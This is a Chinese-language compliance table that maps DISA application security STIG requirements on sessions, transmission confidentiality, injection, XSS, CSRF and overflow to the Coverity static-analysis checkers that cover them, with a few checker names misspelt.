APSC-DV-001995	该应用程序不得受到竞态条件的影响。	ATOMICITY BAD_CHECK_OF_WAIT_COND BAD_LOCK_OBJECT DC.DEADLOCK FB.DC_DOUBLECHECK FB.DC_PARTIALLY_CONSTRUCTED FB.IS2_INCONSISTENT_SYNC FB.IS_FIELD_NOT_GUARDED FB.IS_INCONSISTENT_SYNC FB.LI_LAZY_INIT_STATIC FB.LI_LAZY_INIT_UPDATE_STATIC FB.RU_INVOKE_RUN FB.STCAL_INVOKE_ON_STATIC_CALENDAR_INSTANCE FB.STCAL_INVOKE_ON_STATIC_DATE_FORMAT_INSTANCE FB.STCAL_STATIC_CALENDAR_INSTANCE FB.STCAL_STATIC_SIMPLE_DATE_FORMAT_INSTANCE GUARDED_BY_VIOLATION LOCK LOCK_EVASION LOCK_INVERSION MISSING_LOCK NON_STATIC_GUARDING_STATIC ORDER_REVERSAL SERVLET_ATOMICITY SINGLETON_RACE SLEEP TOCTOU VOLATILE_ATOMICITY
APSC-DV-002000	应用程序必须在会话结束时终止与通信会话相关的所有网络连接。	CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN CONFIG.UNSAFE_SESSION_TIMEOUT CORS_MISCONFIGURATION_AUDIT

名称	说明	Coverity 检查器
		HPKP_MISCONFIGURATION INSUFFICIENT_PRESIGNED_URL_TIMEOUT JSONWEBTOKEN_IGNORED_EXPIRATION_TIME JSONWEBTOKEN_UNTRUSTED_DECODE OPENAPI.TEMPORARY_CREDENTIALS_DURATION SOCKET_ACCEPT_ALL_ORIGINS TEMPORARY_CREDENTIALS_DURATION
APSC-DV-002210	该应用程序必须在会话 Cookie 上设置 HTTPOnly 标志。	CONFIG.COOKIES_MISSING_HTTPONLY CONFIG.JAVAEE_MISSING_HTTPONLY
APSC-DV-002220	应用程序必须在会话 Cookie 上设置安全标志。	INSECURE_COOKIE INSECURE_REMEMBER_ME_COOKIE UNSAFE_SESSION_SETTING
APSC-DV-002230	该应用程序不得公开会话 ID。	CONFIG.SPRING_SECURITY_SESSION_FIXATION SESSION_FIXATION
APSC-DV-002240	应用程序必须在注销或浏览器关闭时销毁会话 ID 值和/或 Cookie。	AWS_SSL_DISABLED CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.UNSAFE_SESSION_TIMEOUT CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND INSECURE_REFERER_POLICY INSUFFICIENT_PRESIGNED_URL_TIMEOUT JSONWEBTOKEN_IGNORED_EXPIRATION_TIME JSONWEBTOKEN_UNTRUSTED_DECODE OPENAPI.TEMPORARY_CREDENTIALS_DURATION REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK SOCKET_ACCEPT_ALL_ORIGINS TEMPORARY_CREDENTIALS_DURATION UNENCRYPTED_SENSITIVE_DATA UNSAFE_BASIC_AUTH UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING

名称	说明	Coverity 检查器
APSC-DV-002250	应用程序必须使用系统生成的会话标识符，以防止会话定位。	CONFIG.SPRING_SECURITY_SESSION_FIXATION SESSION_FIXATION
APSC-DV-002260	应用程序必须验证会话标识符。	ANONYMOUS_DB_CONNECTION AWS_VALIDATION_DISABLED CONFIG.COOKIE_SIGNING_DISABLED CONFIG.SPRING_BOOT_SSL_DISABLED CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT HPKP_MISCONFIGURATION MISSING_AUTHZ
APSC-DV-002280	应用程序不得重用或循环使用会话 ID。	CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN CONFIG.UNSAFE_SESSION_TIMEOUT CORS_MISCONFIGURATION_AUDIT HPKP_MISCONFIGURATION INSUFFICIENT_PRESIGNED_URL_TIMEOUT JSONWEBTOKEN_IGNORED_EXPIRATION_TIME JSONWEBTOKEN_UNTRUSTED_DECODE OPENAPI.TEMPORARY_CREDENTIALS_DURATION SOCKET_ACCEPT_ALL_ORIGINS TEMPORARY_CREDENTIALS_DURATION
APSC-DV-002300	该应用程序只能允许使用 DoD 批准的证书颁发机构验证受保护会话的建立。	ANONYMOUS_DB_CONNECTION ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED AWS_VALIDATION_DISABLED BAD_CERT_VERIFICATION CONFIG.COOKIE_SIGNING_DISABLED CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.REQUEST_STRICTSSL_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.UNSAFE_SESSION_TIMEOUT CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT EXPOSED_DIRECTORY_LISTING EXPRESS_X_POWERED_BY_ENABLED HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND

名称	说明	Coverity 检查器
		INSECURE_REFERRER_POLICY INSUFFICIENT_PRESIGNED_URL_TIMEOUT MISSING_AUTHZ REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK TEMPORARY_CREDENTIALS_DURATION UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-002310	如果系统初始化失败、关闭失败或中止失败，应用程序必须失败到安全状态。	
APSC-DV-002370	应用程序必须为每个执行进程维护一个单独的执行域。	ALLOC_FREE_MISMATCH ARRAY_VS_SINGLETON BAD_ALLOC_ARITHMETIC BUFFER_SIZE COM.BAD_FREE COM.BSTR.ALLOC COM.BSTR.CONV INCOMPATIBLE_CAST INTEGER_OVERFLOW INVALIDATE_ITERATOR MISMATCHED_ITERATOR MISSING_ASSIGN MISSING_COPY OVERRUN REVERSE_NEGATIVE SIZECHECK STRING_OVERFLOW STRING_SIZE TAINTED_SCALAR UNSAFE_FUNCTIONALITY USE_AFTER_FREE WRAPPER_ESCAPE
APSC-DV-002380	应用程序必须防止通过共享系统资源进行未经授权和意外的信息传输。	AWS_SSL_DISABLED CONFIG_SPRING_BOOT_SSL_DISABLED CONFIG_SPRING_SECURITY_EXPOSED_SESSIONID CONFIG_SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG_SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND

名称	说明	Coverity 检查器
		INSECURE_REFERRER_POLICY REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-002390	基于 XML 的应用程序必须通过使用 XML 筛选器、解析器选项或网关来缓解 DoS 攻击。	UNSAFE_XML_PARSE_CONFIG WEAK_XML_SCHEMA XML_EXTERNAL_ENTITY XML_INJECTION XPATH_INJECTION
APSC-DV-002400	应用程序必须限制对自己或其他信息系统发起拒绝服务(DoS)攻击的能力。	ALLOC_FREE_MISMATCH AWS_SSL_DISABLED BUSBOY_MISCONFIGURATION COM.ADDROF_LEAK COM.BAD_FREE COM.BSTR.ALLOC CONFIG.CONNECTION_STRING_PASSWORD CONFIG.CORDOVA_EXCESSIVE_LOGGING CONFIG.DEAD_AUTHORIZATION_RULE CONFIG.DWR_DEBUG_MODE CONFIG.ENABLED_DEBUG_MODE CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.JAVAEE_MISSING_SERVLET_MAPPING CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT CONFIG.MYBATIS_MAPPER_SQLI CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_DEBUG_MODE CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION CONFIG.STRUTS2_ENABLED_DEV_MODE CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT CTOR_DTOR_LEAK DC.DEADLOCK DISABLED_ENCRYPTION EXPRESS_SESSION_UNSAFE_MEMORYSTORE

名称	说明	Coverity 检查器
		FB.DM_EXIT FILE_UPLOAD_MISCONFIGURATION FORMAT_STRING_INJECTION HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION IMPLICIT_INTENT INSECURE_ACL INSECURE_COMMUNICATION INSECURE_DIRECT_OBJECT_REFERENCE INSECURE_NETWORK_BIND INSECURE_REFERER_POLICY JSP_SQL_INJECTION LOCALSTORAGE_WRITE LOCK LOCK_INVERSION MISSING_ASSIGN MISSING_COPY MISSING_PERMISSION_FOR_BROADCAST MULTER_MISCONFIGURATION NEGATIVE RETURNS NO_EFFECT OPENAPI.MISSING_RATE_LIMITING OPENAPI.OAUTH2_MISCONFIGURATION OPENAPI.REDOS ORDER_REVERSAL PW.NON_CONST_PRINTF_FORMAT_STRING RAILS_DEFAULT_ROUTES RAILS_DEVISE_CONFIG RAILS_MISSING_FILTER_ACTION RESOURCE_LEAK REVERSE_TABNABBING RUBY_VULNERABLE_LIBRARY SECURE_TEMP SENSITIVE_DATA_LEAK SQLI SQL_NOT_CONSTANT STACK_USE TAINTED_SCALAR TAINTED_STRING UNENCRYPTED_SENSITIVE_DATA UNLIMITED_CONCURRENT_SESSIONS UNRESTRICTED_ACCESS_TO_FILE UNSAFE_BASIC_AUTH UNSAFE_BUFFER_METHOD UNSAFE_XML_PARSE_CONFIG USE_AFTER_FREE

名称	说明	Coverity 检查器
		VERBOSE_ERROR_REPORTING VIRTUAL_DTOR WEAK_XML_SCHEMA WRAPPER_ESCAPE XML_EXTERNAL_ENTITY
APSC-DV-002440	应用程序必须保护传输的信息的机密性和完整性。	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED BAD_CERT_VERIFICATION CONFIG.ATS_INSECURE CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.REQUEST_STRICTSSL_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPONG_BOOT_SSL_DISABLED CONFIG.SPONG_SECURITY_EXPOSED_SESSIONID CONFIG.SPONG_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPONG_SECURITY_LOGIN_OVER_HTTP CONFIG.SPONG_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPONG_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION EXPOSED_DIRECTORY_LISTING EXPRESS_X_POWERED_BY_ENABLED HAPI_SESSION_MONGO_MISSING_TLS HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_COOKIE INSECURE_MULTIPEER_CONNECTION INSECURE_NETWORK_BIND INSECURE_REFERER_POLICY INSECURE_REMEMBER_ME_COOKIE OPENAPI_MISSING_TLS PMD.ApexInsecureEndpoint REVERSE_TABNABBING RISKY_CRYPTO SA.RISKY_CRYPTO SECURE_TEMP SENSITIVE_DATA_LEAK STRICT_TRANSPORT_SECURITY

名称	说明	Coverity 检查器
		UNENCRYPTED_SENSITIVE_DATA UNSAFE_BASIC_AUTH UNSAFE_BUFFER_METHOD UNSAFE_SESSION_SETTING VERBOSE_ERROR_REPORTING
APSC-DV-002460	在准备传输期间，该应用程序必须保持信息的机密性和完整性。	AWS_SSL_DISABLED CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH CONFIG.WEAK_SECURITY_CONSTRAINT CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DC.WEAK_CRYPTO DISABLED_ENCRYPTION FB.DMI_CONSTANT_DB_PASSWORD FB.DMI_EMPTY_DB_PASSWORD HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND INSECURE_RANDOM INSECURE_REFERRER_POLICY INSECURE_SALT PMD.ApexSuggestUsingNamedCred PREDICTABLE_RANDOM_SEED RAILS_DEVISE_CONFIG REVERSE_TABNABBING RISKY_CRYPTO SA.RISKY_CRYPTO SECURE_TEMP SENSITIVE_DATA_LEAK UNENCRYPTED_SENSITIVE_DATA UNSAFE_BASIC_AUTH UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING WEAK_GUARD WEAK_PASSWORD_HASH WEAK_URL_SANITIZATION

名称	说明	Coverity 检查器
APSC-DV-002470	在接收期间，应用程序必须保持信息的机密性和完整性。	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED BAD_CERT_VERIFICATION CONFIG.ATS_INSECURE CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.REQUEST_STRICTSSL_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION EXPOSED_DIRECTORY_LISTING EXPRESS_X_POWERED_BY_ENABLED HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_MULTIPEER_CONNECTION INSECURE_NETWORK_BIND INSECURE_REFERER_POLICY REVERSE_TABNABBING RISKY_CRYPTO SA.RISKY_CRYPTO SECURE_TEMP SENSITIVE_DATA_LEAK STRICT_TRANSPORT_SECURITY UNENCRYPTED_SENSITIVE_DATA UNSAFE_BASIC_AUTH UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-002480	该应用程序不得向用户披露不必要的信息。	ANDROID_CAPABILITY_LEAK ANDROID_DEBUG_MODE ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED CONFIG.ANDROID_BACKUPS_ALLOWED CONFIG.ASPNET_VERSION_HEADER CONFIG.ASP_VIEWSTATE_MAC CONFIG.CONNECTION_STRING_PASSWORD CONFIG.DEAD_AUTHORIZATION_RULE CONFIG.DWR_DEBUG_MODE CONFIG.DYNAMIC_DATA_HTML_COMMENT CONFIG.ENABLED_DEBUG_MODE

名称	说明	Coverity 检查器
		CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.JAVAEE_MISSING_SERVLET_MAPPING CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT CONFIG.MYBATIS_MAPPER_SQLI CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SENSITIVE_LOGGING CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_DEBUG_MODE CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION CONFIG.STRUTS2_ENABLED_DEV_MODE CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION EXPOSED_DIRECTORY_LISTING EXPOSED_PREFERENCES EXPRESS_WINSTON_SENSITIVE_LOGGING EXPRESS_X_POWERED_BY_ENABLED HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION IMPLICIT_INTENT INSECURE_ACL INSECURE_COMMUNICATION INSECURE_DIRECT_OBJECT_REFERENCE INSECURE_NETWORK_BIND INSECURE_REFERRER_POLICY JSP_SQL_INJECTION MISSING_PERMISSION_FOR_BROADCAST MISSING_PERMISSION_ON_EXPORTED_COMPONENT MOBILE_ID_MISUSE OPENAPI.OAUTH2_MISCONFIGURATION OPENAPI.SERVER_SIDE_REQUEST_FORGERY OPEN_REDIRECT PMD.ApexOpenRedirect RAILS_DEFAULT_ROUTES

名称	说明	Coverity 检查器
		RAILS_MISSING_FILTER_ACTION REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK SQLI SQL_NOT_CONSTANT UNENCRYPTED_SENSITIVE_DATA UNRESTRICTED_ACCESS_TO_FILE UNSAFE_BASIC_AUTH UNSAFE_BUFFER_METHOD URL_MANIPULATION VERBOSE_ERROR_REPORTING
APSC-DV-002485	应用程序不得在隐藏字段中存储敏感信息。	AWS_SSL_DISABLED CONFIG_SPRING_BOOT_SSL_DISABLED CONFIG_SPRING_SECURITY_EXPOSED_SESSIONID CONFIG_SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG_SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND INSECURE_REFERER_POLICY REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-002490	该应用程序必须防止跨站点脚本 (XSS) 漏洞。	ANGULAR_SCE_DISABLED CONFIG_SPRING_SECURITY_DEPRECATED_XSS_HEADER DOM_XSS JINJA2_AUTOESCAPE_DISABLED REACT_DANGEROUS_INNERHTML VUE_TEMPLATE_UNSAFE_VHTML_DIRECTIVE XSS
APSC-DV-002500	该应用程序必须防止跨站请求伪造 (CSRF) 漏洞。	CONFIG_BEEGO_CSRF_PROTECTION_DISABLED CONFIG_CSURF_IGNORE_METHODS CONFIG_DJANGO_CSRF_PROTECTION_DISABLED CONFIG_HANA_XS_PREVENT_XSRF_DISABLED CONFIG_SPRING_SECURITY_CSRF_PROTECTION_DISABLED CONFIG_SYMFONY_CSRF_PROTECTION_DISABLED CSRF CSRF_MISCONFIGURATION_HAPI_CRUMB OPENAPI_CSRF

名称	说明	Coverity 检查器
		PMD.VfCsrf RUBY_VULNERABLE_LIBRARY
APSC-DV-002510	该应用程序必须防止命令注入。	OS_CMD_INJECTION TAINTED_ENVIRONMENT_WITH_EXECUTION
APSC-DV-002520	该应用程序必须防止规范表示漏洞。	BUSBOY_MISCONFIGURATION FB_PT_ABSOLUTE_PATH_TRAVERSAL FB_PT_RELATIVE_PATH_TRAVERSAL FILE_UPLOAD_MISCONFIGURATION JSP_DYNAMIC_INCLUDE MULTER_MISCONFIGURATION PATH_MANIPULATION RUBY_VULNERABLE_LIBRARY
APSC-DV-002530	该应用程序必须验证所有输入。	ANGULAR_EXPRESSION_INJECTION BUSBOY_MISCONFIGURATION CONFIG_SPRING_BOOT_ADMIN_ACCESS_ENABLED CONFIG_UNSAFE_SESSION_TIMEOUT COOKIE_SERIALIZER_CONFIG CORS_MISCONFIGURATION_AUDIT DISTRUSTED_DATA_DESERIALIZATION FILE_UPLOAD_MISCONFIGURATION FORMAT_STRING_INJECTION HOST_HEADER_VALIDATION_DISABLED HPKP_MISCONFIGURATION INSUFFICIENT_PRESIGNED_URL_TIMEOUT JAVA_CODE_INJECTION JCR_INJECTION JSP_DYNAMIC_INCLUDE LDAP_INJECTION LDAP_NOT_CONSTANT MISSING_PASSWORD_VALIDATOR MULTER_MISCONFIGURATION NEGATIVE RETURNS NOSQL_QUERY_INJECTION OGNL_INJECTION OPENAPI_JAVASCRIPT_DETECTED OPENAPI_RCE_PAYLOAD_DETECTED PATH_MANIPULATION PW_NON_CONST_PRINTF_FORMAT_STRING REGEX_INJECTION REVERSE_NEGATIVE RUBY_VULNERABLE_LIBRARY SCRIPT_CODE_INJECTION TAINTED_SCALAR TAINTED_STRING TEMPLATE_INJECTION

名称	说明	Coverity 检查器
		TEMPORARY_CREDENTIALS_DURATION UNCHECKED_ORIGIN UNKNOWN_LANGUAGE_INJECTION UNRESTRICTED_DISPATCH UNRESTRICTED_MESSAGE_TARGET UNSAFE_DESERIALIZATION UNSAFE_JNI UNSAFE_NAMED_QUERY UNSAFE_REFLECTION WEAK_BIOMETRIC_AUTH XPATH_INJECTION
APSC-DV-002540	该应用程序不得受到 SQL 注入的影响。	CONFIG.MYBATIS_MAPPER_SQLI DYNAMIC_OBJECT_ATTRIBUTES FB.SQL_NONCONSTANT_STRING_PASSED_TO_EXECUTE FB.SQL_PREPARED_STATEMENT_GENERATED_FROM_NONCONST JSP_SQL_INJECTION NOSQL_QUERY_INJECTION PMD.ApexSQLInjection RUBY_VULNERABLE_LIBRARY SQLI SQL_NOT_CONSTANT
APSC-DV-002550	应用程序不得易受面向 XML 的攻击。	UNSAFE_XML_PARSE_CONFIG WEAK_XML_SCHEMA XML_EXTERNAL_ENTITY XML_INJECTION XPATH_INJECTION
APSC-DV-002560	该应用程序不得受到输入处理漏洞的约束。	NEGATIVE RETURNS REVERSE_NEGATIVE TAINTED_SCALAR
APSC-DV-002570	应用程序必须生成错误消息，提供纠正措施所需的信息，而不透露可能被对手利用的信息。	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED CONFIG.CORDOVA_EXCESSIVE_LOGGING CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SENSITIVE_LOGGING CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT EXPOSED_DIRECTORY_LISTING EXPRESS_WINSTON_SENSITIVE_LOGGING

名称	说明	Coverity 检查器
		EXPRESS_X_POWERED_BY_ENABLED HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND INSECURE_REFERER_POLICY INSUFFICIENT_LOGGING REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK UNLOGGED_SECURITY_EXCEPTION UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-002590	该应用程序不得受到溢出攻击的影响。	ALLOC_FREE_MISMATCH ARRAY_VS_SINGLETON AWS_SSL_DISABLED BAD_ALLOC_ARITHMETIC BAD_ALLOC_STRLEN BAD_CERT_VERIFICATION BAD_FREE BUFFER_SIZE CALL_SUPER CHAR_IO COM.ADDROF_LEAK COM.BAD_FREE COM.BSTR.ALLOC COM.BSTR.CONV CONFIG_SPRING_BOOT_SSL_DISABLED CONFIG_SPRING_SECURITY_EXPOSED_SESSIONID CONFIG_SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG_SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT CTOR_DTOR_LEAK DELETE_ARRAY DELETE_VOID EVALUATION_ORDER FB.BX_BOXING_IMMEDIATELY_UNBOXED_TO_PERFORM_COERCION FB.ICAST_BAD_SHIFT_AMOUNT FB.ICAST_IDIV_CAST_TO_DOUBLE FB.ICAST_INTEGER_MULTIPLY_CAST_TO_LONG FB.ICAST_INT_2_LONG_AS_INSTANT FB.ICAST_INT_CAST_TO_DOUBLE_PASSED_TO_CEIL FB.ICAST_INT_CAST_TO_FLOAT_PASSED_TO_ROUND FB.ICAST_QUESTIONABLE_UNSIGNED_RIGHT_SHIFT HPKP_MISCONFIGURATION

名称	说明	Coverity 检查器
		INCOMPATIBLE_CAST INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND INSECURE_REFERRER_POLICY INTEGER_OVERFLOW INVALIDATE_ITERATOR MISMATCHED_ITERATOR MISSING_ASSIGN MISSING_COPY NEGATIVE RETURNS NO_EFFECT OVERRUN PW.BAD_CAST PW.CONVERSION_TO_POINTER_LOSES_BITS RAILS_DEVISE_CONFIG READLINK RESOURCE_LEAK REVERSE_NEGATIVE REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK SIGN_EXTENSION SIZECHECK SQLI STACK_USE STRING_NULL STRING_OVERFLOW STRING_SIZE TAINTED_SCALAR UNSAFE_BUFFER_METHOD UNSAFE_FUNCTIONALITY USE_AFTER_FREE VERBOSE_ERROR_REPORTING VIRTUAL_DTOR WRAPPER_ESCAPE WRITE_CONST_FIELD Y2K38_SAFETY
APSC-DV-003100	在建立密钥交换的通信通道之前，应用程序必须使用加密来实施密钥交换和身份验证端点。	BAD_CERT_VERIFICATION CONFIG.BEEGO_CSRF_PROTECTION_DISABLED CONFIG.CSURF_IGNORE_METHODS CONFIG.DJANGO_CSRF_PROTECTION_DISABLED CONFIG.HANA_XS_PREVENT_XSRF_DISABLED CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN CONFIG.REQUEST_STRICTSSL_DISABLED CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED

名称	说明	Coverity 检查器
		CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED CONFIG.UNSAFE_SESSION_TIMEOUT CONFIG.WEAK_SECURITY_CONSTRAINT CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT CSRF CSRF_MISCONFIGURATION_HAPI_CRUMB HOST_HEADER_VALIDATION_DISABLED HPKP_MISCONFIGURATION INSUFFICIENT_PRESIGNED_URL_TIMEOUT JSONWEBTOKEN_UNTRUSTED_DECODE MISSING_PASSWORD_VALIDATOR MULTER_MISCONFIGURATION OPENAPI_CSRF PMD.VfCsrf RISKY_CRYPTO RUBY_VULNERABLE_LIBRARY SA.RISKY_CRYPTO SOCKET_ACCEPT_ALL_ORIGINS TEMPORARY_CREDENTIALS_DURATION UNCHECKED_ORIGIN WEAK_BIOMETRIC_AUTH WEAK_GUARD WEAK_URL_SANITIZATION
APSC-DV-003110	该应用程序不得包含嵌入式验证数据。	CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY FB.DMI_CONSTANT_DB_PASSWORD FB.DMI_EMPTY_DB_PASSWORD HARDCODED_CREDENTIALS PMD.ApexBadCrypto PMD.ApexSuggestUsingNamedCred UNSAFE_BASIC_AUTH UNSAFE_SESSION_SETTING
APSC-DV-003215	应用程序开发团队必须遵循一套编码标准。	ALLOC_FREE_MISMATCH ANONYMOUS_DB_CONNECTION ASSERT_SIDE_EFFECT ASSIGN_NOT_RETURNING_STAR_THIS AWS_VALIDATION_DISABLED BAD_COMPARE BAD_EQ BAD_EQ_TYPES

名称	说明	Coverity 检查器
